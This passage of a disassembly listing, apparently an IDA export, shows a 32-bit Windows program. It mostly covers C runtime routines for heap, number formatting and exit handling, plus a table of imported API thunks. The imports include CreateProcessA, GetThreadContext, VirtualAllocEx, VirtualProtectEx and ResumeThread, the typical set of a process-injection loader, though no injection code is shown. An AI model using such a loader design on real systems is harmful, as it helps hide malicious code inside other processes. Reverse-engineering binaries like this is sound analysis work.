HeapFree pop ebp pop ebx loc_40213C: ; CODE XREF: .text:004020D1j push hHeap call ds:HeapDestroy ; HeapDestroy retn ; --------------------------------------------------------------------------- mov eax, hHeap retn ; [00000015 BYTES: COLLAPSED FUNCTION __get_sbh_threshold. PRESS KEYPAD "+" TO EXPAND] ; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND] ; [00000318 BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND] ; [000000B7 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND] ; [00000106 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND] ; [000002DF BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ___sbh_heapmin: mov eax, dword_444714 test eax, eax jz locret_402A5B mov ecx, dword_44472C push 4000h shl ecx, 0Fh add ecx, [eax+0Ch] push 8000h push ecx call ds:VirtualFree ; VirtualFree mov ecx, dword_44472C mov eax, dword_444714 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_444714 mov eax, [eax+10h] mov ecx, dword_44472C and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_444714 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_444714 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_402A02 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_444714 loc_402A02: ; CODE XREF: .text:004029F7j cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_402A54 cmp dword_444718, 1 jle short loc_402A54 push dword ptr [eax+10h] push 0 push hHeap call ds:HeapFree mov eax, dword_444718 mov edx, lpMem lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_444714 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call _memcpy_0 add esp, 0Ch dec dword_444718 loc_402A54: ; CODE XREF: .text:00402A06j ; .text:00402A0Fj and dword_444714, 0 locret_402A5B: ; CODE XREF: .text:00402992j retn ; [00000319 BYTES: COLLAPSED FUNCTION ___sbh_heap_check. PRESS KEYPAD "+" TO EXPAND] ; [0000005B BYTES: COLLAPSED FUNCTION __set_sbh_threshold. PRESS KEYPAD "+" TO EXPAND] ; [000002FC BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov ecx, [esp+4] mov eax, dword_444174 mov dword_444174, ecx retn ; --------------------------------------------------------------------------- mov eax, dword_444174 retn ; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __cropzeros: ; DATA XREF: __cfltcvt_init+Ao mov eax, [esp+4] push ebx mov bl, byte_40A1B4 jmp short loc_403167 ; --------------------------------------------------------------------------- loc_403162: ; CODE XREF: .text:0040316Bj cmp cl, bl jz short loc_40316D inc eax loc_403167: ; CODE XREF: .text:00403160j mov cl, [eax] test cl, cl jnz short loc_403162 loc_40316D: ; CODE XREF: .text:00403164j mov cl, [eax] inc eax test cl, cl jz short loc_40319E jmp short loc_403181 ; --------------------------------------------------------------------------- loc_403176: ; CODE XREF: .text:00403185j cmp cl, 65h jz short loc_403187 cmp cl, 45h jz short loc_403187 inc eax loc_403181: ; CODE XREF: .text:00403174j mov cl, [eax] test cl, cl jnz short loc_403176 loc_403187: ; CODE XREF: .text:00403179j ; .text:0040317Ej mov edx, eax loc_403189: ; CODE XREF: .text:0040318Dj dec eax cmp byte ptr [eax], 30h jz short loc_403189 cmp [eax], bl jnz short loc_403194 dec eax loc_403194: ; CODE XREF: .text:00403191j ; .text:0040319Cj mov cl, [edx] inc eax inc edx test cl, cl mov [eax], cl jnz short loc_403194 loc_40319E: ; CODE XREF: .text:00403172j pop ebx retn ; --------------------------------------------------------------------------- __positive: ; DATA XREF: __cfltcvt_init+28o mov eax, [esp+4] fld qword ptr [eax] fcomp ds:dbl_4084D8 fnstsw ax test ah, 1 jnz short loc_4031B7 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4031B7: ; CODE XREF: .text:004031B1j xor eax, eax retn ; [0000003E BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND] ; [0000001D BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+" TO EXPAND] ; [000000F1 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __cftoe_g: push dword ptr [esp+10h] mov byte_444180, 1 push dword ptr [esp+10h] push dword ptr [esp+10h] push dword ptr [esp+10h] call __cftoe add esp, 10h mov byte_444180, 0 retn ; [000000DD BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __cftof_g: push dword ptr [esp+0Ch] mov byte_444180, 1 push dword ptr [esp+0Ch] push dword ptr [esp+0Ch] call __cftof add esp, 0Ch mov byte_444180, 0 retn ; [000000AA BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND] ; [00000040 BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND] db 0CCh ; --------------------------------------------------------------------------- __initterm: push esi mov esi, eax jmp short loc_4035E3 ; --------------------------------------------------------------------------- loc_4035D8: ; CODE XREF: .text:004035E7j mov eax, [esi] test eax, eax jz short loc_4035E0 call eax loc_4035E0: ; CODE XREF: .text:004035DCj add esi, 4 loc_4035E3: ; CODE XREF: .text:004035D6j cmp esi, [esp+8] jb short loc_4035D8 pop esi retn ; --------------------------------------------------------------------------- __initterm_e: push esi mov esi, eax xor eax, eax jmp short loc_403601 ; --------------------------------------------------------------------------- loc_4035F2: ; CODE XREF: .text:00403605j test eax, eax jnz short loc_403607 mov ecx, [esi] test ecx, ecx jz short loc_4035FE call ecx loc_4035FE: ; CODE XREF: .text:004035FAj add esi, 4 loc_403601: ; CODE XREF: .text:004035F0j cmp esi, [esp+8] jb short loc_4035F2 loc_403607: ; CODE XREF: .text:004035F4j pop esi retn ; [0000006A BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND] ; [000000C1 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __c_exit. PRESS KEYPAD "+" TO EXPAND] ; [00000177 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __GET_RTERRMSG: mov ecx, [esp+4] xor eax, eax loc_4038F1: ; CODE XREF: .text:004038FEj cmp ecx, dword_40A088[eax*8] jz short loc_403900 inc eax cmp eax, 13h jb short loc_4038F1 loc_403900: ; CODE XREF: .text:004038F8j shl eax, 3 cmp ecx, dword_40A088[eax] jnz short loc_403912 mov eax, off_40A08C[eax] retn ; --------------------------------------------------------------------------- loc_403912: ; CODE XREF: .text:00403909j xor eax, eax retn ; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- _xcptlookup: mov ecx, dword_40A1A0 mov eax, offset dword_40A120 push esi loc_40395A: ; CODE XREF: .text:0040396Dj cmp [eax], edx jz short loc_40396F lea esi, [ecx+ecx*2] add eax, 0Ch lea esi, ds:40A120h[esi*4] cmp eax, esi jb short loc_40395A loc_40396F: ; CODE XREF: .text:0040395Cj lea ecx, [ecx+ecx*2] lea ecx, ds:40A120h[ecx*4] cmp eax, ecx pop esi jnb short loc_403982 cmp [eax], edx jz short locret_403984 loc_403982: ; CODE XREF: .text:0040397Cj xor eax, eax locret_403984: ; CODE XREF: .text:00403980j retn ; [00000171 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ___CppXcptFilter: mov eax, 0E06D7363h cmp [esp+4], eax jnz short loc_403B0E push dword ptr [esp+8] push eax call __XcptFilter pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_403B0E: ; CODE XREF: .text:00403AFFj xor eax, eax retn ; [0000005D BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND] ; [000000C7 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND] ; [0000016C BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND] ; [000000A2 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND] ; [00000122 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND] ; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __ioterm: push esi mov esi, offset dword_444600 loc_404116: ; CODE XREF: .text:0040412Fj mov eax, [esi] test eax, eax jz short loc_404126 push eax call _free and dword ptr [esi], 0 pop ecx loc_404126: ; CODE XREF: .text:0040411Aj add esi, 4 cmp esi, offset dword_444700 jl short loc_404116 pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404133 proc near ; CODE XREF: start:loc_401F76p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_408950 call __SEH_prolog mov [ebp+var_1C], offset dword_40916C loc_404146: ; CODE XREF: sub_404133+3Cj cmp [ebp+var_1C], offset dword_40916C jnb short loc_404171 and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_404167 call eax jmp short loc_404167 ; --------------------------------------------------------------------------- loc_404160: ; DATA XREF: .rdata:stru_408950o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_404164: ; DATA XREF: .rdata:stru_408950o mov esp, [ebp+ms_exc.old_esp] loc_404167: ; CODE XREF: sub_404133+27j ; sub_404133+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_404146 ; --------------------------------------------------------------------------- loc_404171: ; CODE XREF: sub_404133+1Aj call __SEH_epilog retn sub_404133 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; void __cdecl sub_404177() sub_404177 proc near ; DATA XREF: __cinit:loc_403644o var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_408960 call __SEH_prolog mov [ebp+var_1C], offset dword_409174 loc_40418A: ; CODE XREF: sub_404177+3Cj cmp [ebp+var_1C], offset dword_409174 jnb short loc_4041B5 and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_4041AB call eax jmp short loc_4041AB ; --------------------------------------------------------------------------- loc_4041A4: ; DATA XREF: .rdata:stru_408960o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4041A8: ; DATA XREF: .rdata:stru_408960o mov esp, [ebp+ms_exc.old_esp] loc_4041AB: ; CODE XREF: sub_404177+27j ; sub_404177+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_40418A ; --------------------------------------------------------------------------- loc_4041B5: ; CODE XREF: sub_404177+1Aj call __SEH_epilog retn sub_404177 endp ; --------------------------------------------------------------------------- align 4 ; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; [000000E6 BYTES: COLLAPSED FUNCTION __except_handler3. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION _seh_longjmp_unwind(x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003D BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000033D BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov eax, off_40A1C0 retn ; --------------------------------------------------------------------------- mov eax, off_40A1BC retn ; --------------------------------------------------------------------------- __chvalidator: mov eax, [esp+4] mov ecx, off_40A1BC movzx eax, word ptr [ecx+eax*2] and eax, [esp+8] retn ; [0000007E BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND] ; [00000008 BYTES: COLLAPSED FUNCTION __tolower. PRESS KEYPAD "+" TO EXPAND] ; [000000D5 BYTES: COLLAPSED FUNCTION _tolower. PRESS KEYPAD "+" TO EXPAND] ; [00000032 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS KEYPAD "+" TO EXPAND] ; [0000004D BYTES: COLLAPSED FUNCTION __IncMan. PRESS KEYPAD "+" TO EXPAND] ; [00000072 BYTES: COLLAPSED FUNCTION __RoundMan. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __FillZeroMan: push edi mov edi, [esp+8] xor eax, eax stosd stosd stosd pop edi retn ; [00000019 BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION __ShrMan. PRESS KEYPAD "+" TO EXPAND] ; [00000158 BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_404B1B proc near ; CODE XREF: sub_404BC3+2Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_40A1C4 push [esp+4+arg_4] push [esp+8+arg_0] call __ld12cvt add esp, 0Ch retn sub_404B1B endp ; =============== S U B R O U T I N E ======================================= sub_404B31 proc near ; CODE XREF: sub_404C3E+2Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_40A1DC push [esp+4+arg_4] push [esp+8+arg_0] call __ld12cvt add esp, 0Ch retn sub_404B31 endp ; [0000007C BYTES: COLLAPSED FUNCTION __ld12told. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404BC3 proc near ; CODE XREF: __fassign+12p var_14 = byte ptr -14h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov eax, dword_40A200 mov [ebp+var_4], eax xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call ___strgtold12 push [ebp+arg_0] lea eax, [ebp+var_10] push eax call sub_404B1B mov ecx, [ebp+var_4] add esp, 24h call sub_405515 leave retn sub_404BC3 endp ; [0000003E BYTES: COLLAPSED FUNCTION __atoldbl. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404C3E proc near ; CODE XREF: __fassign+2Dp var_14 = byte ptr -14h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov eax, dword_40A200 mov [ebp+var_4], eax xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call ___strgtold12 push [ebp+arg_0] lea eax, [ebp+var_10] push eax call sub_404B31 mov ecx, [ebp+var_4] add esp, 24h call sub_405515 leave retn sub_404C3E endp ; --------------------------------------------------------------------------- align 10h ; [0000008B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E8 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND] ; [00000077 BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND] ; [000000BA BYTES: COLLAPSED FUNCTION ___dtold. PRESS KEYPAD "+" TO EXPAND] ; [00000074 BYTES: COLLAPSED FUNCTION __fltout. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000060 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION __fptrap. PRESS KEYPAD "+" TO EXPAND] ; [0000002A BYTES: COLLAPSED FUNCTION __fpreset. PRESS KEYPAD "+" TO EXPAND] ; [00000092 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND] ; [0000008E BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+" TO EXPAND] ; [00000039 BYTES: COLLAPSED FUNCTION __abstract_sw. PRESS KEYPAD "+" TO EXPAND] ; [00000010 BYTES: COLLAPSED FUNCTION __statusfp. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __clearfp. PRESS KEYPAD "+" TO EXPAND] ; [00000032 BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD "+" TO EXPAND] ; [00000016 BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD "+" TO EXPAND] ; [00000082 BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND] ; [00000028 BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND] ; [000000F9 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000124 BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [0000001D BYTES: COLLAPSED CHUNK OF FUNCTION sub_405515. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_405501 proc near ; DATA XREF: .rdata:stru_408EE8o xor eax, eax inc eax retn sub_405501 endp ; =============== S U B R O U T I N E ======================================= sub_405505 proc near ; DATA XREF: .rdata:stru_408EE8o mov esp, [ebp-18h] sub_405505 endp ; sp-analysis failed ; [0000000C BYTES: COLLAPSED CHUNK OF FUNCTION sub_405515. PRESS KEYPAD "+" TO EXPAND] db 0CCh ; [0000000E BYTES: COLLAPSED FUNCTION sub_405515. PRESS KEYPAD "+" TO EXPAND] ; [00000033 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push 1 push 0 push dword ptr [esp+0Ch] call _x_ismbbtype add esp, 0Ch retn ; [00000011 BYTES: COLLAPSED FUNCTION __ismbbkprint. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbbkpunct. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __ismbbalnum. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __ismbbalpha. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __ismbbgraph. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __ismbbprint. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbbpunct. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbbtrail. PRESS KEYPAD "+" TO EXPAND] ; [00000027 BYTES: COLLAPSED FUNCTION __ismbbkana. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- _getSystemCP: and dword_444334, 0 cmp eax, 0FFFFFFFEh jnz short loc_40564F mov dword_444334, 1 jmp ds:GetOEMCP ; --------------------------------------------------------------------------- loc_40564F: ; CODE XREF: .text:0040563Dj cmp eax, 0FFFFFFFDh jnz short loc_405664 mov dword_444334, 1 jmp ds:GetACP ; --------------------------------------------------------------------------- loc_405664: ; CODE XREF: .text:00405652j cmp eax, 0FFFFFFFCh jnz short locret_405678 mov eax, dword_4443A0 mov dword_444334, 1 locret_405678: ; CODE XREF: .text:00405667j retn ; [0000002F BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND] ; [0000018C BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND] ; [000001E6 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND] ; [00000010 BYTES: COLLAPSED FUNCTION __getmbcp. PRESS KEYPAD "+" TO EXPAND] ; [0000001E BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __NLG_Notify1: push ebx push ecx mov ebx, offset dword_40A300 jmp short loc_405B8C ; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND] ; [00000229 BYTES: COLLAPSED FUNCTION __ValidateEH3RN. PRESS KEYPAD "+" TO EXPAND] ; [000001BA BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- _strncnt: mov ecx, [esp+4] test ecx, ecx jz short loc_405F90 loc_405F85: ; CODE XREF: .text:00405F8Ej dec ecx cmp byte ptr [eax], 0 jz short loc_405F91 inc eax test ecx, ecx jnz short loc_405F85 loc_405F90: ; CODE XREF: .text:00405F83j dec ecx loc_405F91: ; CODE XREF: .text:00405F89j mov eax, [esp+4] sub eax, ecx dec eax retn ; [000003BC BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND] ; [00000021 BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+" TO EXPAND] ; [0000005E BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND] ; [0000002E BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND] ; [000000DE BYTES: COLLAPSED FUNCTION ___mtold12. PRESS KEYPAD "+" TO EXPAND] ; [00000457 BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND] off_406964 dd offset loc_406579 ; DATA XREF: ___strgtold12+65r dd offset loc_4065C9 ; jump table for switch statement dd offset loc_406614 dd offset loc_40663E dd offset loc_406697 dd offset loc_40670C dd offset loc_40673C dd offset loc_406786 dd offset loc_406765 dd offset loc_4067E8 dd offset loc_4067DA dd offset loc_4067A6 ; [0000004C BYTES: COLLAPSED FUNCTION ___STRINGTOLD. PRESS KEYPAD "+" TO EXPAND] ; [0000028E BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO EXPAND] ; [00000162 BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+" TO EXPAND] ; [00000066 BYTES: COLLAPSED FUNCTION ___security_init_cookie. PRESS KEYPAD "+" TO EXPAND] ; [00000147 BYTES: COLLAPSED FUNCTION ___security_error_handler. PRESS KEYPAD "+" TO EXPAND] align 2 mov ecx, [esp+4] mov eax, dword_4443AC mov dword_4443AC, ecx retn ; --------------------------------------------------------------------------- ___buffer_overrun: push 0 push 1 call ___security_error_handler ; --------------------------------------------------------------------------- pop ecx pop ecx retn ; [00000043 BYTES: COLLAPSED FUNCTION ___ansicp. PRESS KEYPAD "+" TO EXPAND] ; [000001C9 BYTES: COLLAPSED FUNCTION ___convertcp. PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND] ; [000000E3 BYTES: COLLAPSED FUNCTION __resetstkoflw. PRESS KEYPAD "+" TO EXPAND] ; [00000232 BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS KEYPAD "+" TO EXPAND] ; [00000086 BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp _atol ; [00000079 BYTES: COLLAPSED FUNCTION __atoi64. PRESS KEYPAD "+" TO EXPAND] ; [00000090 BYTES: COLLAPSED FUNCTION __ismbcspace. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp ds:FreeLibrary ; --------------------------------------------------------------------------- jmp ds:GetProcAddress ; --------------------------------------------------------------------------- jmp ds:LoadLibraryA ; --------------------------------------------------------------------------- jmp ds:VirtualQueryEx ; --------------------------------------------------------------------------- jmp ds:ReadProcessMemory ; --------------------------------------------------------------------------- jmp ds:GetThreadContext ; --------------------------------------------------------------------------- jmp ds:CreateProcessA ; --------------------------------------------------------------------------- jmp ds:GetModuleHandleA ; --------------------------------------------------------------------------- jmp ds:VirtualProtectEx ; --------------------------------------------------------------------------- jmp ds:VirtualAllocEx ; --------------------------------------------------------------------------- jmp ds:ResumeThread ; --------------------------------------------------------------------------- jmp ds:ReadFile ; --------------------------------------------------------------------------- jmp ds:GetFileSize ; --------------------------------------------------------------------------- jmp ds:CreateFileA ; --------------------------------------------------------------------------- jmp ds:SetFileAttributesA ; --------------------------------------------------------------------------- jmp ds:GetModuleFileNameA ; --------------------------------------------------------------------------- jmp ds:HeapAlloc ; --------------------------------------------------------------------------- jmp ds:GetStartupInfoA ; --------------------------------------------------------------------------- jmp ds:GetCommandLineA ; --------------------------------------------------------------------------- jmp ds:GetVersionExA ; --------------------------------------------------------------------------- jmp ds:HeapDestroy ; --------------------------------------------------------------------------- jmp ds:HeapCreate ; --------------------------------------------------------------------------- jmp ds:VirtualFree ; --------------------------------------------------------------------------- jmp ds:HeapFree ; --------------------------------------------------------------------------- jmp ds:VirtualAlloc ; --------------------------------------------------------------------------- jmp ds:HeapReAlloc ; --------------------------------------------------------------------------- jmp ds:IsBadWritePtr ; --------------------------------------------------------------------------- jmp ds:ExitProcess ; --------------------------------------------------------------------------- jmp ds:TerminateProcess ; --------------------------------------------------------------------------- jmp ds:GetCurrentProcess ; --------------------------------------------------------------------------- jmp ds:WriteFile ; --------------------------------------------------------------------------- jmp ds:GetStdHandle ; --------------------------------------------------------------------------- jmp ds:UnhandledExceptionFilter ; --------------------------------------------------------------------------- jmp ds:FreeEnvironmentStringsA ; --------------------------------------------------------------------------- jmp ds:GetEnvironmentStrings ; --------------------------------------------------------------------------- jmp ds:FreeEnvironmentStringsW ; --------------------------------------------------------------------------- jmp ds:WideCharToMultiByte ; --------------------------------------------------------------------------- jmp ds:GetLastError ; --------------------------------------------------------------------------- jmp ds:GetEnvironmentStringsW ; --------------------------------------------------------------------------- jmp ds:SetHandleCount ; --------------------------------------------------------------------------- jmp ds:GetFileType ; --------------------------------------------------------------------------- jmp ds:GetACP ; --------------------------------------------------------------------------- jmp ds:GetOEMCP ; --------------------------------------------------------------------------- jmp ds:GetCPInfo ; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp ds:InterlockedExchange ; --------------------------------------------------------------------------- jmp ds:VirtualQuery ; --------------------------------------------------------------------------- jmp ds:GetStringTypeA ; --------------------------------------------------------------------------- jmp ds:MultiByteToWideChar ; --------------------------------------------------------------------------- jmp ds:GetStringTypeW ; --------------------------------------------------------------------------- 